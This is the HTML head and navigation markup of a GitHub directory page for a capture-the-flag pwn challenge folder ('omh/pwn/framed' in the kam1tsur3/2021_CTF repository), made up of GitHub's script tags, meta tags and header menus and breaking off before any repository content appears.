integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>2021_CTF/omh/pwn/framed at master · kam1tsur3/2021_CTF · GitHub</title> <meta name="description" content="Contribute to kam1tsur3/2021_CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5984eb7d633617eda080f040aed987b0539963e9ae306345bf9cc8653a2d5852/kam1tsur3/2021_CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="2021_CTF/omh/pwn/framed at master · kam1tsur3/2021_CTF" /><meta name="twitter:description" content="Contribute to kam1tsur3/2021_CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5984eb7d633617eda080f040aed987b0539963e9ae306345bf9cc8653a2d5852/kam1tsur3/2021_CTF" /><meta property="og:image:alt" content="Contribute to kam1tsur3/2021_CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="2021_CTF/omh/pwn/framed at master · kam1tsur3/2021_CTF" /><meta property="og:url" content="https://github.com/kam1tsur3/2021_CTF" /><meta property="og:description" content="Contribute to kam1tsur3/2021_CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6CD:0528:A494D5:AF778C:618306F9" data-pjax-transient="true"/><meta name="html-safe-nonce" content="51d7358cf50c881fa07bb01f6cf1f7ee9585e32d31e183385e1ad80b66295105" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkNEOjA1Mjg6QTQ5NEQ1OkFGNzc4Qzo2MTgzMDZGOSIsInZpc2l0b3JfaWQiOiIxMjg0ODgwNDMyMzg1NDA3MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="59c8abf83560aae664ac4598563b6a87b43cc6ec86e111c01c145b39f84360a2" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:328184763" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/kam1tsur3/2021_CTF git https://github.com/kam1tsur3/2021_CTF.git"> <meta name="octolytics-dimension-user_id" content="32216452" /><meta name="octolytics-dimension-user_login" content="kam1tsur3" /><meta name="octolytics-dimension-repository_id" content="328184763" /><meta name="octolytics-dimension-repository_nwo" content="kam1tsur3/2021_CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="328184763" /><meta name="octolytics-dimension-repository_network_root_nwo" content="kam1tsur3/2021_CTF" /> <link rel="canonical" href="https://github.com/kam1tsur3/2021_CTF/tree/master/omh/pwn/framed" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="328184763" data-scoped-search-url="/kam1tsur3/2021_CTF/search" data-owner-scoped-search-url="/users/kam1tsur3/search" data-unscoped-search-url="/search" action="/kam1tsur3/2021_CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="D0W3AWJs/iBm12zBgiABnqVX8euzNpP6ivflADwWxebBZev12u1oW7yYVjXe6z9kb2DvDu19SCRVhUa92zsgJg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 